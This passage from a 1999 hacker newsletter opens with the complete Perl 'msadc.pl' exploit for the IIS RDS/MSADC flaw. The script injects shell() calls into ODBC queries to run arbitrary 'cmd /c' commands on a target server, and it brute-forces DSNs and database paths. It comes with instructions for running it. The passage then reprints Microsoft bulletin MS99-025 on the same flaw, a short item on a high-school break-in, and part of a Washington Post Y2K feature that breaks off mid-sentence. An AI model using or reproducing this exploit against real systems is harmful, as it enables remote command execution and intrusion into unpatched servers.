                 -      ADM     /   Wiretrip   -
      
      
                 - rfp@wiretrip.net -
      
      
      
      
          *** SPECIAL THANKS once again to Mudge and Weld from
          www.l0pht.com for helping me out on the preliminary
          assessment, and Mike Dinowitz from www.houseoffusion.com
          and Vacuum from www.technotronic.com for creative input.
      
      
      
              Time is creation.  The future is just not there.
      
      
             Kitetoa, did you hack my ham sandwich!?!?
      
      
      
      
      
      - 10 -  The Code!!!!
      
      
         Again, to run this, save this advisory to a file (for instance
      msadc.txt) and then run 'perl -x file' (ie perl -x msadc.txt).
      
      
      #!perl
      #
      # MSADC/RDS 'usage' (aka exploit) script
      #
      #   by rain.forest.puppy
      #
      # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
      #   beta test and find errors!
      
      
      use Socket; use Getopt::Std;
      getopts("e:vd:h:XRVN", \%args);
      
      
      print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
      
      
      if (!defined $args{h} && !defined $args{R}) {
      print qq~
      Usage: msadc.pl -h <host> { -d <delay> -X -v }
          -h <host>  = host you want to scan (ip or domain)
          -d <seconds>   = delay between calls, default 1 second
          -X     = dump Index Server path table, if available
          -N     = query VbBusObj for NetBIOS name
          -V     = use VbBusObj instead of ActiveDataFactory
          -v     = verbose
          -e     = external dictionary file for step 5
      
      
          Or a -R will resume a command session
      
      
      ~; exit;}
      
      
      $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
      if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
      if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
      if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
      $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
      if (!defined $args{R}){ $ret = &has_msadc; }
      if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
      if (defined $args{N}) {&get_name; exit;}
      
      
      print "Please type the NT commandline you want to run (cmd /c assumed):\n"
          . "cmd /c ";
      $in=<STDIN>;    chomp $in;
      $command="cmd /c " . $in ;
      
      
      if (defined $args{R}) {&load; exit;}
      
      
      print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
      &try_btcustmr;
      
      
      print "\nStep 2: Trying to make our own DSN...";
      &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
      
      
      print "\nStep 3: Trying known DSNs...";
      &known_dsn;
      
      
      print "\nStep 4: Trying known .mdbs...";
      &known_mdb;
      
      
      if (defined $args{e}){
      print "\nStep 5: Trying dictionary of DSN names...";
      &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
      
      
      print "Sorry Charley...maybe next time?\n";
      exit;
      
      
      ##############################################################################
      
      
      sub sendraw {   # ripped and modded from whisker
          sleep($delay); # it's a DoS on the server! At least on mine...
          my ($pstr)=@_;
          socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
             die("Socket problems\n");
          if(connect(S,pack "SnA4x8",2,80,$target)){
             select(S);       $|=1;
             print $pstr;   my @in=<S>;
             select(STDOUT);     close(S);
             return @in;
          } else { die("Can't connect...\n"); }}
      
      
      ##############################################################################
      
      
      sub make_header {  # make the HTTP request
      my $which, $msadc; # yeah, this is WAY redundant.  I'll fix it later
      
      
      if (defined $args{V}){
      $msadc=<<EOT
      POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetRecordset HTTP/1.1
      User-Agent: ACTIVEDATA
      Host: $ip
      Content-Length: $clen
      Connection: Keep-Alive
      
      
      ADCClientVersion:01.06
      Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=2
      
      
      --!ADM!ROX!YOUR!WORLD!
      Content-Type: application/x-varg
      Content-Length: $reqlen
      
      
      EOT
      ; } else {
      $msadc=<<EOT
      POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
      User-Agent: ACTIVEDATA
      Host: $ip
      Content-Length: $clen
      Connection: Keep-Alive
      
      
      ADCClientVersion:01.06
      Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
      
      
      --!ADM!ROX!YOUR!WORLD!
      Content-Type: application/x-varg
      Content-Length: $reqlen
      
      
      EOT
      ;}
      $msadc=~s/\n/\r\n/g;
      return $msadc;}
      
      
      ##############################################################################
      
      
      sub make_req {  # make the RDS request
      my ($switch, $p1, $p2)=@_;
      my $req=""; my $t1, $t2, $query, $dsn;
      
      
      if ($switch==1){ # this is the btcustmr.mdb query
      $query="Select * from Customers where City=" . make_shell();
      $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
          $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
      
      
      elsif ($switch==2){ # this is general make table query
      $query="create table AZZ (B int, C varchar(10))";
      $dsn="$p1";}
      
      
      elsif ($switch==3){ # this is general exploit table query
      $query="select * from AZZ where C=" . make_shell();
      $dsn="$p1";}
      
      
      elsif ($switch==4){ # attempt to hork file info from index server
      $query="select path from scope()";
      $dsn="Provider=MSIDXS;";}
      
      
      elsif ($switch==5){ # bad query
      $query="select";
      $dsn="$p1";}
      
      
      $t1= make_unicode($query);
      $t2= make_unicode($dsn);
      if(defined $args{V}) { $req=""; } else {$req = "\x02\x00\x03\x00"; }
      $req.= "\x08\x00" . pack ("S1", length($t1));
      $req.= "\x00\x00" . $t1 ;
      $req.= "\x08\x00" . pack ("S1", length($t2));
      $req.= "\x00\x00" . $t2 ;
      $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
      return $req;}
      
      
      ##############################################################################
      
      
      sub make_shell {  # this makes the shell() statement
      return "'|shell(\"$command\")|'";}
      
      
      ##############################################################################
      
      
      sub make_unicode { # quick little function to convert to unicode
      my ($in)=@_; my $out;
      for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
      return $out;}
      
      
      ##############################################################################
      
      
      sub rdo_success {  # checks for RDO return success (this is kludge)
      my (@in) = @_; my $base=content_start(@in);
      if($in[$base]=~/multipart\/mixed/){
      return 1 if( $in[$base+10]=~/^\x09\x00/ );}
      return 0;}
      
      
      ##############################################################################
      
      
      sub make_dsn {  # this makes a DSN for us
      my @drives=("c","d","e","f");
      print "\nMaking DSN: ";
      foreach $drive (@drives) {
      print "$drive: ";
      my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
          "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
          . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
      $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
      return 0 if $2 eq "404"; # not found/doesn't exist
      if($2 eq "200") {
        foreach $line (@results) {
          return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
      } return 0;}
      
      
      ##############################################################################
      
      
      sub verify_exists {
      my ($page)=@_;
      my @results=sendraw("GET $page HTTP/1.0\n\n");
      return $results[0];}
      
      
      ##############################################################################
      
      
      sub try_btcustmr {
      my @drives=("c","d","e","f");
      my @dirs=("winnt","winnt35","winnt351","win","windows");
      
      
      foreach $dir (@dirs) {
      print "$dir -> "; # fun status so you can see progress
      foreach $drive (@drives) {
      print "$drive: ";  # ditto
      $reqlen=length( make_req(1,$drive,$dir) ) - 28;
      $reqlenlen=length( "$reqlen" );
      $clen= 206 + $reqlenlen + $reqlen;
      
      
      my @results=sendraw(make_header() . make_req(1,$drive,$dir));
      if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
      else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
      
      
      ##############################################################################
      
      
      sub odbc_error {
      my (@in)=@_; my $base;
      my $base = content_start(@in);
      if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
      $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
      $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
      $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
      return $in[$base+4].$in[$base+5].$in[$base+6];}
      print "\nNON-STANDARD error.  Please sent this info to rfp\@wiretrip.net:\n";
      print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
          $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
      
      
      ##############################################################################
      
      
      sub verbose {
      my ($in)=@_;
      return if !$verbose;
      print STDOUT "\n$in\n";}
      
      
      ##############################################################################
      
      
      sub save {
      my ($p1, $p2, $p3, $p4)=@_;
      open(OUT, ">rds.save") || print "Problem saving parameters...\n";
      print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
      close OUT;}
      
      
      ##############################################################################
      
      
      sub load {
      my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
      open(IN,"<rds.save") || die("Couldn't open rds.save\n");
      @p=<IN>; close(IN);
      $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
      $target= inet_aton($ip) || die("inet_aton problems");
      print "Resuming to $ip ...";
      
      
      $p[3]="$p[3]";  $p[3]=~s/\n//g; $p[4]="$p[4]";  $p[4]=~s/\n//g;
      
      
      if($p[1]==1) {
      $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
      $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
      my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
      if (rdo_success(@results)){print "Success!\n";}
      else { print "failed\n"; verbose(odbc_error(@results));}}
      
      
      elsif ($p[1]==3){
          if(run_query("$p[3]")){
          print "Success!\n";} else { print "failed\n"; }}
      
      
      elsif ($p[1]==4){
          if(run_query($drvst . "$p[3]")){
          print "Success!\n"; } else { print "failed\n"; }}
      exit;}
      
      
      ##############################################################################
      
      
      sub create_table {
      return 1 if (defined $args{V});
      my ($in)=@_;
      $reqlen=length( make_req(2,$in,"") ) - 28;
      $reqlenlen=length( "$reqlen" );
      $clen= 206 + $reqlenlen + $reqlen;
      my @results=sendraw(make_header() . make_req(2,$in,""));
      return 1 if rdo_success(@results);
      my $temp= odbc_error(@results);  verbose($temp);
      return 1 if $temp=~/Table 'AZZ' already exists/;
      return 0;}
      
      
      ##############################################################################
      
      
      sub known_dsn {
      # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
      my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
          "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
          "banner", "banners", "ads", "ADCDemo", "ADCTest");
      
      
      foreach $dSn (@dsns) {
          print ".";
          next if (!is_access("DSN=$dSn"));
          if(create_table("DSN=$dSn")){
          print "$dSn successful\n" if (!defined $args{V});
          if(run_query("DSN=$dSn")){
          print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}} print "\n";}
      
      
      ##############################################################################
      
      
      sub is_access {
      my ($in)=@_;
      return 1 if (defined $args{V});
      $reqlen=length( make_req(5,$in,"") ) - 28;
      $reqlenlen=length( "$reqlen" );
      $clen= 206 + $reqlenlen + $reqlen;
      my @results=sendraw(make_header() . make_req(5,$in,""));
      my $temp= odbc_error(@results);
      verbose($temp); return 1 if ($temp=~/Microsoft Access/);
      return 0;}
      
      
      ##############################################################################
      
      
      sub run_query {
      my ($in)=@_;
      $reqlen=length( make_req(3,$in,"") ) - 28;
      $reqlenlen=length( "$reqlen" );
      $clen= 206 + $reqlenlen + $reqlen;
      my @results=sendraw(make_header() . make_req(3,$in,""));
      return 1 if rdo_success(@results);
      my $temp= odbc_error(@results);  verbose($temp);
      return 0;}
      
      
      ##############################################################################
      
      
      sub known_mdb {
      my @drives=("c","d","e","f","g");
      my @dirs=("winnt","winnt35","winnt351","win","windows");
      my $dir, $drive, $mdb;
      my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
      
      
      # this is sparse, because I don't know of many
      my @sysmdbs=(   "\\catroot\\icatalog.mdb",
             "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
             "\\system32\\certmdb.mdb",
             "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
      
      
      my @mdbs=(  "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
             "\\cfusion\\cfapps\\forums\\forums_.mdb",
             "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
             "\\cfusion\\cfapps\\security\\realm_.mdb",
             "\\cfusion\\cfapps\\security\\data\\realm.mdb",
             "\\cfusion\\database\\cfexamples.mdb",
             "\\cfusion\\database\\cfsnippets.mdb",
             "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
             "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
             "\\cfusion\\brighttiger\\database\\cleam.mdb",
             "\\cfusion\\database\\smpolicy.mdb",
             "\\cfusion\\database\cypress.mdb",
          "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
             "\\website\\cgi-win\\dbsample.mdb",
          "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
          "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
             );  #these are just \
      
      
      foreach $drive (@drives) {
      foreach $dir (@dirs){
        foreach $mdb (@sysmdbs) {
         print ".";
         if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
          print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n" if
          (!defined $args{V});
          if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
           print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
          }}}}}
      
      
      foreach $drive (@drives) {
        foreach $mdb (@mdbs) {
         print ".";
         if(create_table($drv . $drive . $dir . $mdb)){
          print "\n" . $drive . $dir . $mdb . " successful\n" if
          (!defined {V});
          if(run_query($drv . $drive . ":" . $dir . $mdb)){
           print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
          }}}}
      }
      
      
      ##############################################################################
      
      
      sub hork_idx {
      print "\nAttempting to dump Index Server tables...\n";
      print "  NOTE:  Sometimes this takes a while, other times it stalls\n\n";
      $reqlen=length( make_req(4,"","") ) - 28;
      $reqlenlen=length( "$reqlen" );
      $clen= 206 + $reqlenlen + $reqlen;
      my @results=sendraw2(make_header() . make_req(4,"",""));
      if (rdo_success(@results)){
      my $max=@results; my $c; my %d;
      for($c=19; $c<$max; $c++){
          $results[$c]=~s/\x00//g;
          $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
          $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
          $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
          $d{"$1$2"}="";}
      foreach $c (keys %d){ print "$c\n"; }
      } else {print "Index server not installed/query failed\n"; }}
      
      
      ##############################################################################
      
      
      sub dsn_dict {
      open(IN, "<$args{e}") || die("Can't open external dictionary\n");
      while(<IN>){
          $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
          next if (!is_access("DSN=$dSn"));
          if(create_table("DSN=$dSn")){
          print "$dSn successful\n" if(!defined $args{V});
          if(run_query("DSN=$dSn")){
          print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}}
      print "\n"; close(IN);}
      
      
      ##############################################################################
      
      
      sub sendraw2 {  # ripped and modded from whisker
          sleep($delay); # it's a DoS on the server! At least on mine...
          my ($pstr)=@_;
          socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
             die("Socket problems\n");
          if(connect(S,pack "SnA4x8",2,80,$target)){
             open(OUT,">raw.out");   my @in;
             select(S);    $|=1;  print $pstr;       
             while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
             close(OUT); select(STDOUT); close(S); return @in;
          } else { die("Can't connect...\n"); }}
      
      
      ##############################################################################
      
      
      sub content_start { # this will take in the server headers
      my (@in)=@_; my $c;
      for ($c=1;$c<500;$c++) {
      if($in[$c] =~/^\x0d\x0a/){
        if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
        else { return $c+1; }}}
      return -1;} # it should never get here actually
      
      
      ##############################################################################
      
      
      sub funky {
      my (@in)=@_; my $error=odbc_error(@in);
      if($error=~/ADO could not find the specified provider/){
      print "\nServer returned an ADO miscofiguration message\nAborting.\n";
      exit;}
      if($error=~/A Handler is required/){
      print "\nServer has custom handler filters (they most likely are patched)\n";
      exit;}
      if($error=~/specified Handler has denied Access/){
      print "\nADO handlers denied access (they most likely are patched)\n";
      exit;}}
      
      
      ##############################################################################
      
      
      sub has_msadc {
      my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
      my $base=content_start(@results);
      return if($results[$base]=~/Content-Type: application\/x-varg/);
      my @s=grep("Server",@results);
      if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n" }
      else { print "/msadc/msadcs.dll was not found.\n";}
      exit;}
      
      
      ##############################################################################
      
      
      sub get_name { # this was added last minute
      my $msadc=<<EOT
      POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1
      User-Agent: ACTIVEDATA
      Host: $ip
      Content-Length: 126
      Connection: Keep-Alive
      
      
      ADCClientVersion:01.06
      Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0
      
      
      --!ADM!ROX!YOUR!WORLD!--
      EOT
      ;  $msadc=~s/\n/\r\n/g;
      my @results=sendraw($msadc);
      my $base=content_start(@results);
      $results[$base+6]=~s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g;
      print "Machine name: $results[$base+6]\n";}
      
      
      ##############################################################################
      
      
      # Note:  This is not a good example of precision code.  It is very
      # redundant and has a few kludges.  I have been adding features in one at
      # at a time, so it has resulted in redundant functions and patched code.
      # I will be rewriting it in the future, sometime.  Look for the newer code
      # revisions at www.technotronic.com/rfp/
      # This may also be included in the NT-PTK/P.  If you don't know what that
      # is, just wait and see. :)
      
      
      ##############################################################################


42.0 Highschool crackers 
     ~~~~~~~~~~~~~~~~~~~
          
     From http://www.net-security.org/
        
     by BHZ, Tuesday 20th July 1999 on 9:37 pm CET
     Hacker broke into computer system at East Chapel Hill High School and ruined two
     years worth of the principal’s work. School officials said that their system has been
     penetrated before, but no such damage was done. They learned their lesson and now
     they are installing 12.000 dollars worth of security software. 
     
     @HWA


43.0 Unauthorized Access to IIS Servers through ODBC Data Access with RDS
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     From http://www.net-security.org/
      
     by BHZ, Tuesday 20th July 1999 on 3:30 pm CET
     Microsoft re-released Microsoft Security Bulletin MS98-004, issued July 17, 1998. As
     they say: "It has recently been brought to our attention that this vulnerability has been
     used to gain unauthorized access to Internet-connected systems that have
     instructions in MS98-004". Just a reminder this advisory deals with The RDS
     DataFactory object, a component of Microsoft Data Access Components (MDAC).
     Read the re-released advisory at the url below; 
     
     http://www.microsoft.com/security/bulletins/ms99-025.asp

		
 
     --===Microsoft Security Advisor Program: Microsoft Security Bulletin (MS99-025)===--
 			 

     Microsoft Security Bulletin (MS99-025)

     Re-Release: Unauthorized Access to IIS Servers through ODBC Data Access with RDS
     
     *Originally Released as MS98-004, July 17, 1998* 
     *Re-Released as MS99-025, July 19, 1999* 
     
     _Preface_
       This bulletin is a re-release of <B>Microsoft Security Bulletin MS98-004</B>
      [http://www.microsoft.com/security/bulletins/ms98-004.asp] , issued July 17,
      1998. It has recently been brought to our attention that this vulnerability
      has been used to gain unauthorized access to Internet-connected systems that
      have not been updated as per the instructions in MS98-004. The intent of
      re-releasing this bulletin is to serve as a reminder about this vulnerability,
      to restate the threat, and encourage system administrators to evaluate their
      systems to determine if their systems have been correctly configured and
      updated to protect against this vulnerability. 
      _Summary_
       Microsoft encourages the following actions be taken on systems that have
      Microsoft® Internet Information Server 3.0 or 4.0 and Microsoft Data Access
      Components 1.5, both of which are installed during a default installation of
      the Windows NT® 4.0 Option pack: 
        + Install the latest version of MDAC (currently MDAC 2.1 SP2) However,
      simply upgrading from MDAC 1.5 to MDAC 2.0, or MDAC 2.1 is not sufficient. For
      systems not explicitly utilizing RDS functionality, you should also: 
        + Delete the /msadc virtual directory from the default Web site, or 
        + Apply registry settings that disable the DataFactory object. (See the Q
      for the registry settings to adjust, or to download a .REG file that can make
      the changes for you.) For systems implicitly utilizing RDS functionality, you
      should: 
        + Disable Anonymous Access for the /msadc directory in the default Web site,
      and/or 
        + Create a Custom Handler to control or filter incoming requests:
      <B>http://www.microsoft.com/Data/ado/rds/custhand.htm</B>
      [http://www.microsoft.com/Data/ado/rds/custhand.htm] If you do not complete
      these steps, unauthorized access as described below may still be possible. 
      Frequently asked questions regarding this vulnerability and updating systems
      to protect against it can be found at
      _http://www.microsoft.com/security/bulletins/MS99-025faq.asp_ 
      
      _Issue_
       The RDS DataFactory object, a component of Microsoft Data Access Components
      (MDAC), exposes unsafe methods. When installed on a system running Internet
      Information Server 3.0 or 4.0, the DataFactory object may permit an otherwise
      unauthorized web user to perform privileged actions, including: 
        + Allowing unauthorized users to execute shell commands on the IIS system as
      a privileged user. 
        + On a multi-homed Internet-connected IIS system, using MDAC to tunnel SQL
      and other ODBC data requests through the public connection to a private
      back-end network. 
        + Allowing unauthorized accessing to secured, non-published files on the IIS
      system. 
      _Affected Software Versions_
       
        + Microsoft Internet Information Server 3.0 or 4.0 that have or have had
      Microsoft Data Access Components 1.5 installed on it. 
      _NOTE:_ IIS can be installed as part of other Microsoft products like
      Microsoft BackOffice and Microsoft Site Server. 
      _NOTE:_ MDAC 1.5 is installed during a default installation of the Windows NT
      4.0 Option Pack. 
      
      _Patch Availability_
       Newer versions of Microsoft Data Access Components (MDAC versions 2.0 and
      2.1) resolve these known vulnerabilities. However, a system that had MDAC 1.5
      installed on it, and then upgraded to MDAC 2.0 or MDAC 2.1 must still take
      actions to disable the DataFactory object. (See the Q for the registry
      settings to adjust, or to download a .REG file that can make the changes for
      you.) 
      Current versions of Microsoft Data Access Components can be downloaded from
      the following web site: 
        + Microsoft Data Access Download Site:
      <B>http://www.microsoft.com/data/download.htm</B>
      [http://www.microsoft.com/data/download.htm]  
      _More Information_
       Please see the following references for more information related to this
      issue. 	
        + Microsoft Security Bulletin MS99-025: Frequently Asked Questions, 
      _http://www.microsoft.com/security/bulletins/MS99-025faq.asp_ 	
        + Microsoft Knowledge Base (KB) article Q184375, 
      *Security Implications of RDS 1.5, IIS, and ODBC*, 
      <B>http://support.microsoft.com/support/kb/articles/q184/3/75.as</B>p
      [http://support.microsoft.com/support/kb/articles/q184/3/75.asp] 
      	 	
        + Microsoft Universal Data Access Download Page, 
      <B>http://www.microsoft.com/data/download.htm</B>
      [http://www.microsoft.com/data/download.htm] 
      	
        + Installing MDAC Q, 
      <B>http://www.microsoft.com/data/MDAC21info/MDACinstQ.htm</B>
      [http://www.microsoft.com/data/MDAC21info/MDACinstQ.htm] 
      	
        + Microsoft Security Advisor web site, 
      <B>http://www.microsoft.com/security/default.asp</B>
      [http://www.microsoft.com/security/default.asp] 	
        + IIS Security Checklist, 
      <B>http://www.microsoft.com/security/products/iis/CheckList.asp</B>
      [http://www.microsoft.com/security/products/iis/CheckList.asp] 
      
      _Obtaining Support on this Issue_
       Microsoft Data Access Components (MDAC) is a fully supported set of
      technologies. If you require technical assistance with this issue, please
      contact Microsoft Technical Support. For information on contacting Microsoft
      Technical Support, please see
      <B>http://support.microsoft.com/support/contact/default.asp</B>
      [http://support.microsoft.com/support/contact/default.asp] . 
      
      _Acknowledgments_
       Microsoft acknowledges Greg Gonzalez of ITE
      (<B>http://www.infotechent.net</B> [http://www.infotechent.net] ) for bringing
      additional information regarding this vulnerability to our attention.
      Microsoft also acknowledges Russ Cooper (<B>NTBugTraq</B>
      [http://www.ntbugtraq.com/] ) for his assistance around this issue. 
      
      _Revisions_ 
      
      
              
        + July 19, 1999: Bulletin Created as re-release of MS98-004.   
      
      
      http://www.microsoft.com/security_
       --> 
      -------------------------------------------------------------------------------
      
      THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS"
      WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER
      EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS
      FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION OR ITS
      SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
      INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN
      IF MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE POSSIBILITY
      OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION OR LIMITATION OF
      LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE FOREGOING LIMITATION
      MAY NOT APPLY. 
		
 		_© 1999 Microsoft Corporation. All rights reserved. Terms of Use._ 	 	   	 
     	 
     	 
    
   
     @HWA
     
     
44.0 Who's fault is the Y2K bug?
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     From http://www.net-security.org/
     
     Y2K PORTFOLIO
     
     by BHZ, Tuesday 20th July 1999 on 3:11 pm CET
     Washington Post wrote terrific article on Y2K situation, its past and its present. They
     even contacted "the man responsible" for Y2K bug - Robert Bemer. He wrote wrote
     the American Standard Code for Information Interchange (ASCII) and popularized the
     use of the backslash, and invented the "escape" sequence in programming. In the
     late 50's he also helped on writing COBOL. He said that the early programmers were
     unconcerned about the year 2000 because they expected their programs to last only
     a few years - and that is how Y2K "bug" started. Read whole article below.
     
     THE MILLENNIUM BUG
     
     We Know It Can Hurt Us. We Know It Didn't Have To Be.
     What We Didn't Know, Until Today, Was Whom We Can
     Blame for Letting It Loose.

     By Gene Weingarten
     Washington Post Staff Writer
     Sunday, July 18, 1999; Page F01 

     We are knocking at the door of a high-rise apartment in Baileys Crossroads,
     with a question so awful we are afraid to ask it. We do not wish to cause a
     heart attack. 

     A woman invites us in and summons her husband, who shuffles in from
     another room. She is 78. He is 82. They met in the 1960s as
     middle-management civil servants, specialists in an aspect of data processing
     so technical, so nebbishy, that many computer professionals disdain it. He
     was her boss. Management interface blossomed into romance. Their
     marriage spans three decades. They are still in love.

     "You know how we use Social Security numbers alone to identify
     everyone?" she says. She points proudly to her husband. "That all started
     with this kid!"

     The kid has ice cube spectacles and neck wattles. He has been retired for
     years. Some of his former colleagues guessed he was deceased. His phone
     is unlisted. We located him through a mumbled tip from a man in a nursing
     home, followed up with an elaborate national computer search.
     Computers--they're magic. 

     It is still early. We have, alas, roused them from bed. 

     She is feisty. He is pleasantly grumpy. They are nice people.

     Here is what we have to ask him: Are you the man who is responsible for
     the greatest technological disaster in the history of mankind? Did you cause
     a trillion-dollar mistake that some believe will end life as we know it six
     months from now, throwing the global economy into a tailspin, disrupting
     essential services, shutting down factories, darkening vast areas of rural
     America, closing banks, inciting civic unrest, rotting the meat in a million
     freezers, pulling the plug on life-sustaining medical equipment, blinding
     missile defense systems, leaving ships adrift on the high seas, snarling air
     traffic, causing passenger planes to plummet from the skies?

     Obligingly, he awaits the question.

     He is wearing pajamas.

     A Hot Date 

     By now, everyone knows that on Jan. 1, 2000, something dreadful will
     happen on a global scale. Or possibly it will not. Experts are divided. This
     much is indisputable: To prevent it, billions of dollars have already been
     expended not only by government, which is prone to squandering money on
     foolishness, but also by big business, which is not. This is no empty scare.

     Technology has been the propulsive force behind civilization, but from time
     to time technology has loudly misfired. In the name of progress, there have
     been profound blunders: Filling zeppelins with hydrogen. Treating morning
     sickness with Thalidomide. Constructing aqueducts with lead pipes, poisoning
     half the population of ancient Rome. Still, there is nothing that quite
     compares with the so-called "Millennium Bug." It is potentially planetary in
     scope. It is potentially catastrophic in consequence. And it is, at its heart,
     stunningly stupid. It is not like losing a kingdom for want of a nail; it is like
     losing a kingdom because some idiot made the nails out of marshmallows. 

     On Jan. 1, 2000, huge numbers of computers worldwide are expected to fail
     because, despite the foreseeable folly of it, they have always been
     programmed to think of the year in two digits only. 

     The two-digit year is a convention as ancient as the feather pen--writing the
     date on a personal letter with an apostrophe in the year, implying a prefix of
     17- or 18- or 19-. But reading an apostrophe requires sentience and
     judgment. Computers possess neither. They cannot distinguish an "00"
     meaning 1900 from an "00" meaning 2000. When asked, for example, to
     update a woman's age on Jan. 1, 2000, a computer might subtract her year
     of birth (say, '51) from the current year ('00), and conclude she will not be
     born for another 51 years. A human would instantly realize the nature of the
     error, adjust his parameters, and recalculate.

     Computers aren't built that way. They require absolute, either-or,
     plus-or-minus, binary logic at every step of their operation, and if this process
     is stymied even momentarily, if there is a juncture at which neither plus nor
     minus yields a comprehensible response, a computer will react immaturely.
     Sometimes it will start acting out--doing petulant, antisocial things such as
     coughing out daffy data or obliterating files. More often, the computer will
     simply burst into tears. It will shut itself down. 

     The permutations of the Y2K problem are bewildering. If General Motors
     has fixed its computers, that's swell; but if the hydroelectric plant that sells
     power to the subcontractor who imports the rubber that is used to make tires
     for GM cars has not fixed its problem, the GM assembly line closes down
     anyway. Plus, the Y2K problem is hard-wired into millions of
     microprocessor chips, independent mini-brains that are embedded in things
     like automobiles, traffic control systems, medical equipment, factory control
     panels; some businesses aren't even certain where all their microprocessors
     are. 

     Never has a calamity been so predictable, and so inevitable, tied to a
     deadline that can be neither appealed nor postponed. Diplomacy is fruitless.
     Nuclear deterrence isn't a factor. This can't be filibustered into the next
     Congress.

     Y2K has powerful, nearly mystical, themes. For some religious
     fundamentalists who have long been predicting a millennial apocalypse, the
